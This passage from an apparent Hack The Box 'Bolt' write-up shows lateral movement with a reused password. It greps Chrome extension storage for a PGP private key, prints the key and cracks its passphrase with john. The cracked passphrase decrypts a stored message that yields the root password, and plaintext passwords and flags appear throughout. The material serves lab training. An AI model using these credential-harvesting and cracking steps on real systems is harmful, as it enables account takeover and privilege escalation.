zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
created: 2021-02-25 21:50:11
modified: 2021-03-06 15:34:36
1 row in set (0.00 sec)
mysql> exit
In this database we find the two users that are defined in the machine, and also a secret message encrypted using PGP. The database contains PGP public keys, but there are not so important.
Lateral movement to user eddie
And yet another dead end. We can try to switch user to eddie
and enter some of the passwords found. Curiously, password rT2;jW7<eY8!dX8}pQ8%
(reused in MySQL) works:
$ ssh eddie@10.10.11.114
eddie@10.10.11.114's password:
eddie@bolt:~$ cat user.txt
1d32df183e61b198aa42469ede79fd61
Having captured the user.txt
flag, we can continue looking for files owned by eddie
:
eddie@bolt:~$ find / -user eddie 2>/dev/null | grep -vE 'home|proc|sys|run|dev|tmp'
/var/mail/eddie
eddie@bolt:~$ cat /var/mail/eddie
From clark@bolt.htb Thu Feb 25 14:20:19 2021
Return-Path: <clark@bolt.htb>
X-Original-To: eddie@bolt.htb
Delivered-To: eddie@bolt.htb
Received: by bolt.htb (Postfix, from userid 1001)
id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <eddie@bolt.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20210225212019.DFF264CD@bolt.htb>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <clark@bolt.htb>
Hey Eddie,
The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...
-Clark
Privilege escalation
We have found an interesting e-mail from clark
telling eddie
to use a browser extension and to save his private key.
There are files related to Google Chrome in eddie
’s home directory, maybe the extension configuration is there.
Looking for a PGP private key
We can search for PGP contents inside the home directory:
eddie@bolt:~$ grep -r 'BEGIN PGP' ~
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js: if (!message.match(/-----BEGIN PGP MESSAGE-----/)) {
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PUBLIC_HEADER = '-----BEGIN PGP PUBLIC KEY BLOCK-----';
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PRIVATE_HEADER = '-----BEGIN PGP PRIVATE KEY BLOCK-----';
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: const reHeader = /^-----BEGIN PGP (MESSAGE, PART \d+\/\d+|MESSAGE, PART \d+|SIGNED MESSAGE|MESSAGE|PUBLIC KEY BLOCK|PRIVATE KEY BLOCK|SIGNATURE)-----$/m;
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP MESSAGE, PART X/Y
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP MESSAGE, PART X
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP SIGNED MESSAGE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP MESSAGE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP PUBLIC KEY BLOCK
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP PRIVATE KEY BLOCK
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // BEGIN PGP SIGNATURE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: // cleartext signatures. Note that PGP 2.x uses BEGIN PGP MESSAGE
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP MESSAGE, PART " + partindex + "/" + parttotal + "-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP MESSAGE, PART " + partindex + "-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("\r\n-----BEGIN PGP SIGNATURE-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP MESSAGE-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP PUBLIC KEY BLOCK-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP PRIVATE KEY BLOCK-----\r\n");
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js: result.push("-----BEGIN PGP SIGNATURE-----\r\n");
Binary file /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches
After searching in a lot of files, we get to the binary file that was reported above. Using strings
and filtering by a PGP private key format, we obtain one:
eddie@bolt:~$ strings '/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log' | grep -oP '\-\-\-\-\-BEGIN PGP PRIVATE [\s\S]*?END PGP PRIVATE KEY BLOCK\-\-\-\-\-' | head -1
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org
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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
Now we can read more about PGP, for example in Wikipedia. Private keys are usually protected with a passphrase. Fortunately, there is a tool called gpg2john
that extracts a hash from the PGP private key in order to crack it with john
:
$ gpg2john eddie.pgp | tee eddie.hash.pgp
File eddie.pgp
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::eddie.pgp
$ john --wordlist=$WORDLISTS/rockyou.txt eddie.hash.pgp
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas (Eddie Johnson)
1g 0:00:05:02 DONE 0.003307g/s 141.7p/s 141.7c/s 141.7C/s mike04..megan5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Decrypting a PGP message
Now that we have the passphrase (merrychristmas
), we can decrypt the message found previously in one of the MySQL databases using the PGP private key of user eddie
. This task can be done using an online tool like PGP tool:
As seen in the above screenshot, the encrypted message is decrypted to {"password":"Z(2rmxsNW(Z?3=p/9s","description":""}
. This password allows to access as root
in the machine:
eddie@bolt:~$ su root
Password:
root@bolt:/home/eddie# cat /root/root.txt
0efcfd934e37c153513612d761fe564d